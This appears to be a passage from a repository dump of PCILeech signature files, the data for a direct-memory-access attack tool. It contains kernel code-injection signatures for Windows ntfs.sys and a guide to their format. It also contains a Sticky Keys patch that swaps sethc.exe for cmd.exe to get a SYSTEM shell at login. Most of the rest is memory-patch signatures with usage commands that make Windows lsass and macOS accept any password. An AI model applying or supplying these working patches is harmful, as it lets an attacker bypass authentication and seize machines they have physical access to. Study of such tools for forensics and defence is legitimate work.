x64);win10x64_ntfs_20150730.kmd;# ntfs.sys signed on 2015-07-30 (MJ_CREATE);0xc4000;0x4d000;cd135fc58b88f96abff0ddb1207cb9e84e5b2f040607d0500de0018d32ad1572;2cfd3b597b341c056a30a186b1347d82d211cf1319464ad1f13cfa525891e409;,c4dc0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000\nntfs.sys signed on 2015-07-17 (Windows 10 x64);win10x64_ntfs_20150717.kmd;# ntfs.sys signed on 2015-07-17 (MJ_CREATE);0x1f000;0x4d000;9ac57fa7e7d8d92e066c6ce9c76c82fc3afccc1e6211eb4d9b03ea79c8a70b3b;2cfd3b597b341c056a30a186b1347d82d211cf1319464ad1f13cfa525891e409;,1fb90,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2.bin,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000\nntfs.sys signed on 2015-07-10 (Windows 10 x64);win10x64_ntfs_20150710.kmd;# ntfs.sys signed on 2015-07-10 (MJ_CREATE);0xc4000;0x4d000;a8a4e0d7963c2652226064c674b7ed38b1f84a8661e8f63663783dafb83271fc;95964341fb3121baf303037a3796bd98c4167261ead9a4b4587a31e8a546dda1;,c4ec0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018062010100050000001d000180\nntfs.sys signed on 2016-03-29 (Windows 10 x64);win10x64_ntfs_20160329.kmd;# ntfs.sys signed on 2016-03-29 (MJ_CREATE);0xca000;0x4f000;d091d4d5452ef388c6ff22780922f3f944a8439e5109dae207151f7f4fd23991;84b0ffd20272e8757023975ef52132c9e82df7e81da537cf436407733a1f4957;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d000180\nntfs.sys signed on 2016-08-03 (Windows 10 x64) [10.0.10240.17071];win10x64_ntfs_20160803_10240.kmd;# ntfs.sys signed on 2016-08-03 (MJ_CREATE) [10.0.10240.17071];0xc5000;0x4d000;c80d2ff8c58669a539ecc636103a73eb8c65a4568c81d6627a9b14f428d0207f;bafe68ca0561d5137504c53360cdec01b8d522eade7e558b90231fdaf53a66a5;,c51e0,DEFAULT_WINX64_STAGE1,4de38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000\nntfs.sys signed on 2017-09-19 (Windows 10 x64) [10.0.10240.17643];win10x64_ntfs_20170919_10240.kmd;# ntfs.sys signed on 2017-09-19 (MJ_CREATE) [10.0.10240.17643];0xdd000;0x1ec000;3f688bfd33764abc387ed1ffe57ee287cb4726ef58fb88f104a350d62f25b240;950b63465d1982cc41108376717f8dda508c3778b6358ce21e4272c7e75a1306;,dd7b0,DEFAULT_WINX64_STAGE1,1ece38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000\nntfs.sys signed on 2016-07-16 (Windows 10 x64) [10.0.14393.0];win10x64_ntfs_20160716_14393.kmd;# ntfs.sys signed on 2016-07-16 (MJ_CREATE) [10.0.14393.0];0xf6000;0x53000;5cadebe69115cc66e07f7d1e3f97ad0522840c1c648d33b37d8fe9f9a36ae413;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2016-08-20 (Windows 10 x64) [10.0.14393.103];win10x64_ntfs_20160820_14393.kmd;# ntfs.sys signed on 2016-08-20 (MJ_CREATE) [10.0.14393.103];0xf6000;0x53000;c6b3a2c6a9d19798b9974704e551a4798d0f2098279a67924eebcb03cee07590;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2016-09-07 (Windows 10 x64) [10.0.14393.187];win10x64_ntfs_20160907_14393.kmd;# ntfs.sys signed on 2016-09-07 (MJ_CREATE) [10.0.14393.187];0xf7000;0x53000;e6f94244f8ab0cb45a2509679a15ebbb933c936c23d0c600116124b4aebf67d5;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2016-11-02 (Windows 10 x64) [10.0.14393.447];win10x64_ntfs_20161102_14393.kmd;# ntfs.sys signed on 2016-11-02 (MJ_CREATE) [10.0.14393.447];0xf7000;0x53000;e044cff9460a778a04e75081dbfa7441bd1b142a9798a2c978c28612f33682c3;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2017-03-04 (Windows 10 x64) [10.0.14393.953];win10x64_ntfs_20170304_14393.kmd;# ntfs.sys signed on 2017-03-04 (MJ_CREATE) [10.0.14393.953];0xf7000;0x53000;228a30faacc59dd6b41fab0a5eab73e30ee774fde51e4ee30a8501f81cfe8e54;6c4742133e9409255abb3c3d21eca24e7f303b4968e703acfe4f3e3f4e39ce36;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2017-04-28 (Windows 10 x64) [10.0.14393.1198];win10x64_ntfs_20170428_14393.kmd;# ntfs.sys signed on 2017-04-28 (MJ_CREATE) [10.0.14393.1198];0xf7000;0x53000;1546b88e89466c8602690714ca39ddfde499a3f33a5869747530cb060daf8923;0a9519910b85e243dde74efa9e9f205e182ef166048bd0fe29ff0618df10ba3d;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2017-09-18 (Windows 10 x64) [10.0.14393.1770];win10x64_ntfs_20170918_14393.kmd;# ntfs.sys signed on 2017-09-18 (MJ_CREATE) [10.0.14393.1770];0xf7000;0x53000;d1cf002a0c0db5927ae3e0bacdb1f52fb283416e23e1d42387bae39a3f384cb3;2138340b1aabd7f419293f82683c6dde30937214f29b3d83791c13be00da50db;,f7a10,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180\nntfs.sys signed on 2017-03-18 (Windows 10 x64) [10.0.15063.0];win10x64_ntfs_20170318_15063.kmd;# ntfs.sys signed on 2017-03-18 (MJ_CREATE) [10.0.15063.0];0xcb000;0x55000;f190019c227cbbbd19e9ed6fb840e9838afab598b9ac23a3008d60fb3b139845;b48ce1f64615ae1e734d36f94c0c41cce4e5f6caab58df0121ca6f27e8569599;,cb2e0,DEFAULT_WINX64_STAGE1,55e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180\nntfs.sys signed on 2017-09-30 (Windows 10 x64) [10.0.15063.674];win10x64_ntfs_20170930_15063.kmd;# ntfs.sys signed on 2017-09-30 (MJ_CREATE) [10.0.15063.674];0xcb000;0x219000;c1627584ba74d093e74760e12d5c74e0549d5d768f4ec462d55eedfe8dd74d98;871a6f00aea79f7bfd79d23cd3d72d9ae0f7cf7b344ac5f5e9511a641c202348;,cb390,DEFAULT_WINX64_STAGE1,219e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180\nntfs.sys signed on 2017-11-02 (Windows 10 x64) [10.0.15063.726];win10x64_ntfs_20171102_15063.kmd;# ntfs.sys signed on 2017-11-02 (MJ_CREATE) [10.0.15063.726];0xcb000;0x219000;b67b714d8ba13a16ef64df94347b2ce373b2447c59a7a723579d1391b1c8c160;1de51f66634410d684aa5764646472e7bd51c3e380308d7418400665168d2c09;,cb3a0,DEFAULT_WINX64_STAGE1,219e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180\nntfs.sys signed on 2017-10-10 (Windows 10 x64) [10.0.16299.19];win10x64_ntfs_20171010_16299.kmd;# ntfs.sys signed on 2017-10-10 (MJ_CREATE) [10.0.16299.19];0xf6000;0x22c000;55b6529027827c433303454a3bfd0fc540bfcb7163089bb4650fb578999db299;8bdfd5302c2521f1a723ef61bdc2543f52bd9a6748d6bb2788ab4ff8ed87dd6f;,f6120,DEFAULT_WINX64_STAGE1,22ce38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003805a0001002900018008000380150001808c0101000500000023000180\nntfs.sys signed on 2018-02-10 (Windows 10 x64) [10.0.16299.248];win10x64_ntfs_20180210_16299.kmd;# ntfs.sys signed on 2018-02-10 (MJ_CREATE) [10.0.16299.248];0xd5000;0x22a000;f7d9b1cb758ad97d9070fdfefcc09fe53ba6d42a5fe2d9074a3aa97f7ef95ddf;61c552bc451be0d577fc9828ab6ebed62dc117f17265a5f8c42013f1d843285e;,d5640,DEFAULT_WINX64_STAGE1,22ae38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380590001002900018008000380150001808b0101000500000023000180\n"
  },
  {
    "path": "files/signature_info.txt",
    "content": "Signature Guide for Search/Patch signatures and Kernel Module signatures\n========================================================================\n\n\n\nGENERAL\n=======\nSignature files are read line by line.     Signature files may contain multiple\nsignature lines.  The exception is kernel module inserts by page table hijack -\nwhich may only contain one line.    Each line contains either a comment, starts\nwith '#', or a signature line.  Signature lines are comma separated and divided\ninto 'chunks'. Each chunk contains an 'offset' and a 'data' section. The offset\nis a hexadecimal dword. The data section is binary data which can be either of:\n- = no data.\nDEFAULT_ = data loaded from builtin pre-defined shellcodes.\nASCIIHEX = data as asciihex.\nFILENAME = file name to load binary data from.\n\nEXAMPLE:\nB60,FF15C207,0,-,1aab00,file.bin\nThe example contains three chunks. \nchunk[0] = offset B60 and data FF15C207.\nchunk[1] = offset 0 and no data.\nchunk[2] = offset 1aab00 and data loaded from file.\n\n\n\nMEMORY PATCH SIGNATURE FORMAT\n=============================\nA memory patch signature file have the extension '.sig'.     A file may contain\nmultiple memory patch signatures.     A memory patch signature consists exactly\nthree (3) chunks. Memory patch signatures support wildcard and relative offsets\nin addition to the standard in-page offset.\nchunk[0] = search pattern 'data' at 'offset' distance from page base.\nchunk[1] = search pattern 'data' at 'offset' distance from page base.\n           only searched in same page as chunk[0] if match is made in chunk[0].\n           optional. if not used specify data: '-'\nchunk[2] = replace contents with 'data' at distance 'offset' from page base.\n\nMEMORY PATCH SIGNATURES - WILDCARD AND RELATIVE OFFSETS\n=======================================================\n- Memory patch signatures support in-page fixed offsets in all signature chunks\n  Examples: 0 ; e0 ; ee0.\n- Wildcard offsets are supported in signature chunk 0 and 1, but not in chunk 2\n  which is chunk containing patch data. A wildcard offset is denoted by '*'.\n  Example: *\n- Relative offsets are supported only in signature chunk 1 and 2.  The relative\n  offset is not supported in signature chunk 0. Relative offsets are calculated\n  from the offset in chunk 0.  Relative offsets can be combined with a wildcard\n  offset in chunk 0.   A relative offset is given by r and then the offset as a\n  32-bit DWORD in hex.\n  Examples: r0 ; r1F0 ; rFFFFFFF0 (negative offset of 0x10)\n\n\n\nKERNEL MODULE SIGNATURE FORMAT #1 - memory search\n=================================================\nThe default format for kernel signatures is the memory search format.   This is\nused by PCILeech to search the memory for a signature, which is then patched.\nNote that only fixed in-page offsets are supported in kernel module signatures.\nchunk[0] = search pattern 'data' at 'offset' distance from page base. \n           This page contains the function to be overwritten by stage #1 code.\nchunk[1] = search pattern 'data' at 'offset' distance from page base.\n           Stage #2 code will be placed in this page.\nchunk[2] = offset to where to place stage #1 code, and stage #1 code.\nchunk[3] = offset to where to place stage #2 code, and stage #2 code.\nchunk[4] = <offset not in use>, and stage #3 code.\n\n\n\nKERNEL MODULE SIGNATURE FORMAT #2 - page table hijack\n=====================================================\nThe page table hijack format is used when a page table needs to be hijacked in\norder to gain execution (if the targeted executable memory is above 4GB). Note\nthat only fixed in-page offsets are supported in kernel module signatures.\nchunk[0] = <offset not in use>, 4096-bytes of original page bytes for page in\n           which stage #1 code should be placed.           \nchunk[1] = <offset not in use>, 4096-bytes of original page bytes for page in\n           which stage #2 code should be placed.\nchunk[2] = offset to where to place stage #1 code, and stage #1 code.\nchunk[3] = offset to where to place stage #2 code, and stage #2 code.\nchunk[4] = <offset not in use>, and stage #3 code.\nchunk[5] = <offset not in use>, \"driver signature\""
  },
  {
    "path": "files/stickykeys_cmd_win.sig",
    "content": "# replace sethc.exe with cmd.exe in memory on Windows\n# Signatur for PCILeech version 1.1\n# syntax: see signature_info.txt for more information.\n#\n# Signature by Ian Vitek (Sigtrap)\n#\n# Signature only found after activating sticky keys at least once.\n# (Not 100% reliable to find the signature in memory, but fiddeling around\n#  with sticky keys will in the end leave the sethc.exe in memory.)\n# So, press SHIFT five times to start sethc.exe then patch with this signature.\n# Close the Sticky Key dialog and press SHIFT five times\n#  to get cmd.exe with system access at login.\n#\n# Windows x64 all versions [20160906]\n*,00730065007400680063002E00650078006500200025006C006400000000000000730065007400680063002E006500780065,0,-,r0,0063006D0064002E0065007800650020002000200025006C00640000000000000063006D0064002E00650078006500200020\n"
  },
  {
    "path": "files/unlock_macos.sig",
    "content": "# unlock signatures for macOS\n# syntax: see signature_info.txt for more information.\n#\n#\n# CFOpenDirectory!ODRecordVerifyPassword (various versions)\n*,080000004C89F7E83EC40000EB0231DB88D84883C4685B415C415D415E415F5D,0,-,r10,b001\n*,080000004C89F7E81AC40000EB0231DB88D84883C4685B415C415D415E415F5D,0,-,r10,b001\n"
  },
  {
    "path": "files/unlock_win10x64.sig",
    "content": "# Unlock Signatures for Local and AD Accounts for Windows 10 x64 version\n#\n# Method 1: (faster):\n# 1.1 check pid of lsass.exe: pcileech pslist\n# 1.2 patch: pcileech patch -sig wx64_unlock_win10.sig -all -pid <pid_of_lsass>\n#\n# Method 2:\n# 2.1 patch: pcileech patch -sig wx64_unlock_win10.sig -all\n#\n# Syntax: see signature_info.txt for more information.\n# Generated on 2024-12-09 18:16:15\n#\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30]\n5DC,488BCBFF154B1C0000,5E8,0F8518FBFFFF,5E8,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04]\n65C,488BCBFF15CB1B0000,668,0F8518FBFFFF,668,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30]\n66C,488BCBFF15BB1B0000,678,0F8518FBFFFF,678,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.10586.0 / 2015-10-30]\n62C,488BCBFF15B31B0000,638,0F8518FBFFFF,638,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.0 / 2016-07-16]\n6DC,488BCBFF15D31B0000,6E8,0F8518FBFFFF,6E8,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29]\n6EC,488BCBFF15C31B0000,6F8,0F8518FBFFFF,6F8,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07]\n76C,488BCBFF15431B0000,778,0F8518FBFFFF,778,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30]\n77C,488BCBFF15331B0000,788,0F8518FBFFFF,788,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.2106 / 2019-09-30]\n622,488BCBFF15B51C0000,62E,0F852EFBFFFF,62E,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.15254.245 / 2018-01-30]\n612,488BCBFF15C51C0000,61E,0F852EFBFFFF,61E,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1268 / 2019-07-05]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02]\n622,488BCBFF15C51C0000,62E,0F852EFBFFFF,62E,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.192 / 2018-01-01]\n612,488BCBFF15D51C0000,61E,0F852EFBFFFF,61E,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.590 / 2019-02-06]\n6A2,488BCBFF15451C0000,6AE,0F852EFBFFFF,6AE,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.523 / 2019-01-01]\n692,488BCBFF15551C0000,69E,0F852EFBFFFF,69E,909090909090\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05]\n7CD,488BCBFF15221B0000,7D9,0F840BFBFFFF,7D9,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.194 / 2018-12-04]\n73D,488BCBFF15B21B0000,749,0F840BFBFFFF,749,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.316 / 2019-02-06]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.802 / 2019-10-02]\n74D,488BCBFF15A21B0000,759,0F840BFBFFFF,759,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.5122 / 2023-11-08]\n7DD,488BCBFF15121B0000,7E9,0F840BFBFFFF,7E9,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.1 / 2019-03-18]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.10022 / 2019-09-15]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.418 / 2019-10-06]\n72F,488BCBFF15C01B0000,73B,0F8409FBFFFF,73B,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.1 / 2019-12-07]\n423,488BCB48FF1553200000,435,0F84BAFAFFFF,435,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2728 / 2023-03-09]\n4B3,488BCB48FF15C31F0000,4C5,0F84BAFAFFFF,4C5,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3636 / 2023-10-20]\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3684 / 2023-10-17]\n4C3,488BCB48FF15B31F0000,4D5,0F84BAFAFFFF,4D5,0F85\n#\n# Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.4474 / 2024-05-18]\n583,488BCB48FF15F31E0000,595,0F84BAFAFFFF,595,0F85\n"
  },
  {
    "path": "files/unlock_win10x86.sig",
    "content": "# Unlock Signatures for Local and AD Accounts for Windows 10 x86 version\n#\n# Method 1: (faster):\n# 1.1 check pid of lsass.exe: pcileech pslist\n# 1.2 patch: pcileech patch -sig wx86_unlock_win10.sig -all -pid <pid_of_lsass>\n#\n# Method 2:\n# 2.1 patch: pcileech patch -sig wx86_unlock_win10.sig -all\n#\n# Syntax: see signature_info.txt for more information.\n# Generated on 2024-12-09 18:16:15\n#\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04]\n507,56FF151C610010,510,0F8598FBFFFF,510,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30]\n517,56FF151C610010,520,0F8598FBFFFF,520,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.10586.0 / 2015-10-30]\n627,56FF15F0600010,630,0F8598FBFFFF,630,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07]\n7A7,56FF15F8700010,7B0,0F8598FBFFFF,7B0,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30]\n7B7,56FF15F8700010,7C0,0F8598FBFFFF,7C0,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.15063.2106 / 2019-09-29]\n79E,56FF15F8600010,7A7,0F8584FBFFFF,7A7,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.15254.158 / 2018-01-03]\n78E,56FF15F8600010,797,0F8584FBFFFF,797,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.967 / 2019-02-06]\n7AE,56FF15F0600010,7B7,0F8584FBFFFF,7B7,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.192 / 2018-01-01]\n79E,56FF15F0600010,7A7,0F8584FBFFFF,7A7,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.590 / 2019-02-06]\n83E,57FF15F4700010,847,0F8573FBFFFF,847,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.407 / 2018-11-01]\n81E,57FF15F4700010,827,0F8573FBFFFF,827,909090909090\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.107 / 2018-10-27]\n7F9,57FF15F4600010,802,0F8463FBFFFF,802,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.316 / 2019-02-06]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.802 / 2019-10-02]\n819,57FF15F4600010,822,0F8463FBFFFF,822,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.4964 / 2023-09-14]\n829,57FF15F4700010,832,0F8463FBFFFF,832,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.18362.418 / 2019-10-06]\n80B,57FF15F4600010,814,0F8461FBFFFF,814,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.19040.1 / 2019-12-06]\nCA8,57FF1598B10010,CB1,0F8463FBFFFF,CB1,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.2673 / 2023-02-16]\nC28,57FF1598B10010,C31,0F8463FBFFFF,C31,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27]\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.3505 / 2023-08-19]\nC38,57FF1598B10010,C41,0F8463FBFFFF,C41,0F85\n#\n# Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.4474 / 2024-05-18]\nCB8,57FF1598B10010,CC1,0F8463FBFFFF,CC1,0F85\n"
  },
  {
    "path": "files/unlock_win11x64.sig",
    "content": "# Unlock Signatures for Local and AD Accounts for Windows 11 x64 version\n#\n# Method 1: (faster):\n# 1.1 check pid of lsass.exe: pcileech pslist\n# 1.2 patch: pcileech patch -sig wx64_unlock_win11.sig -all -pid <pid_of_lsass>\n#\n# Method 2:\n# 2.1 patch: pcileech patch -sig wx64_unlock_win11.sig -all\n#\n# Syntax: see signature_info.txt for more information.\n# Generated on 2025-04-18 19:09:03\n#\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.1668 / 2023-03-30]\nA7B,488BCB48FF15A3280000,A8D,0F84B2FAFFFF,A8D,0F85\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.887 / 2022-08-04]\nA6B,488BCB48FF15B3280000,A7D,0F84B2FAFFFF,A7D,0F85\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.1696 / 2023-03-09]\n00B,488BCB48FF15E3220000,01D,0F84B2FAFFFF,01D,0F85\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.2600 / 2023-11-08]\n01B,488BCB48FF15D3220000,02D,0F84B2FAFFFF,02D,0F85\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.778 / 2022-06-18]\nF8B,488BCB48FF1563230000,F9D,0F84B2FAFFFF,F9D,0F85\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2067 / 2023-07-11]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2506 / 2023-10-19]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2567 / 2023-10-14]\nFC9,488D4B1048FF152C230000,FDC,0F85C4FAFFFF,FDC,909090909090\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1 / 2024-04-01]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1150 / 2024-07-03]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1591 / 2024-08-21]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1882 / 2024-09-28]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2454 / 2024-11-16]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.712 / 2024-05-16]\nB31,4D2BF575EF84D2740A32C0EB09,B3A,32C0,B3A,B001\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2894 / 2025-01-12]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3037 / 2025-01-24]\n6A1,4D2BFE75EF84D20F8442F8FFFF32C0E93EF8FFFF,6AE,32C0,6AE,B001\n#\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3323 / 2025-02-21]\n# Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3624 / 2025-03-22]\n6C1,4D2BFE75EF84D20F8442F8FFFF32C0E93EF8FFFF,6CE,32C0,6CE,B001\n"
  },
  {
    "path": "files/unlock_win8x64.sig",
    "content": "# unlock signatures for Windows 8.1\n# syntax: see signature_info.txt for more information.\n#\n#\n# signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2014-10-29)]\nEE0,FF1542A4,EE9,0F854688,EE9,909090909090\n#\n# signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2015-10-30)]\nB60,FF15C207,B69,0F85CEBC,B69,909090909090\n#\n# signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2016-03-16)]\nF00,FF152204,F09,0F85B2B9,F09,909090909090"
  },
  {
    "path": "files/unlock_winvistax64.sig",
    "content": "# unlock signatures for Windows Vista x64 version\n# syntax: see signature_info.txt for more information.\n#\n#\n# signature for Windows Vista x64 [msv1_0.dll 6.0.6002.18005]\n1a1,c60f85,1a8,b8,1a2,909090909090\n#\n# signature for Windows Vista x64 [msv1_0.dll 6.0.6002.19431]\nd89,c60f85,d90,b8,d8a,909090909090"
  },
  {
    "path": "files/win7x64.kmd",
    "content": "# signatures for Windows 7 x64 version\n#\n#\n# ntfs.sys signed on 2010-11-20 14:33:45 (MJ_CREATE) | (WIN7SP1-INSTALL)\n7F0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C24103C7468D84084F7EA86F418BC2F7D041C1C0064403C1410BC033C1,A87F0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys signed on 2013-04-12 16:16:03 (MJ_CREATE)\n680,488954241048894C240853565741544155415641574881EC70010000488BF248,940,48895C2408574883EC708B118B4104488BF9895158C1EA0389415C83E23F41B8,AA680,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys signed on 2014-01-24 04:37:56 (MJ_CREATE)\n990,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C04133C20344240C448D8C106556ACC48BC1F7D041C1C1174503C8410B,A7990,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys signed on 2016-01-08 20:19:54 